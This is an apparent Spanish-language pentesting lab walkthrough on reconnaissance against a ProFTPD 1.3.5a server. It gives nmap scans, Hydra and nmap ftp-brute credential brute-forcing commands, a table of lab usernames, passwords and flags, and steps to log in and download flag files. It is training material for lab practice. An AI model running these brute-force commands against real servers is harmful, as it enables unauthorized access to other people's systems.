GhostAcademy logo GhostAcademy

ProFTP Recon: Basics

Reconocimiento y Enumeración FTP Puerto 21 Nmap · Hydra · ftp-brute

📦 ¿Qué es ProFTPD y por qué es relevante en pentesting?

ProFTPD es uno de los servidores FTP más populares en entornos Unix/Linux. FTP opera en el puerto 21/TCP (control) y puertos dinámicos para datos. A diferencia de SFTP, FTP clásico transmite credenciales en texto claro.

En pentesting, un servidor FTP mal configurado puede permitir acceso anónimo, contraseñas débiles o incluso ejecución remota de comandos en versiones vulnerables.

ProFTPD 1.3.5 (mod_copy): esta versión tiene una vulnerabilidad crítica (CVE-2015-3306) que permite copiar archivos del servidor sin autenticación usando los comandos SITE CPFR / SITE CPTO.

Credenciales encontradas en el laboratorio

UsuarioContraseñaFlag
sysadmin654321260ca9dd8a4577fc00b7bd5810298076
rootyqwertye529a9cea4a728eb9c5828b13b22844c
demobutterflyd6a6bc0db10694a2d90e3a69648f3a03
auditorchocolate098f6bcd4621d373cade4e832627b4f6
anonpurple1bc29b36f623ba82aaf6724fd3b16718
administratortweety21232f297a57a5a743894a0e4a801fc3
diagtigger12a032ce9179c32a6c7ab397b9d871fa

🔧 Comandos del laboratorio

1. Detección de versión del servicio FTP

bash
nmap -sV <IP>
Resultado esperado: ProFTPD 1.3.5a en el puerto 21/TCP.

2. Ataque de fuerza bruta con Hydra

Hydra es la herramienta de referencia para fuerza bruta de credenciales en múltiples protocolos. El flag -t 4 limita los hilos para evitar bloqueos.

bash
hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt \
      -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt \
      <IP> -t 4 ftp

3. Fuerza bruta con Nmap NSE (usuario específico)

bash — crear archivo de usuarios
echo "sysadmin" > users
bash — script ftp-brute
nmap --script ftp-brute --script-args userdb=/root/users -p 21 <IP>

4. Conexión FTP y extracción de flags

bash — conectar con credenciales
ftp <IP>
# Introduce usuario y contraseña cuando se solicite
bash — dentro de la sesión FTP
ls
get secret.txt
bye
bash — leer la flag
cat secret.txt

🗼 Flujo del laboratorio

1
Identificar versiónnmap -sV → ProFTPD 1.3.5a en puerto 21.
2
Fuerza bruta con HydraProbar diccionarios de usuarios y contraseñas.
3
Confirmar con NSEftp-brute para validar credenciales específicas.
4
Conectar al servidorftp <IP> con cada par de credenciales.
5
Extraer archivosls y get para descargar los archivos con flags.
6
Leer las flagscat secret.txt en local.

🎯 ¿Qué buscar? — Indicadores de éxito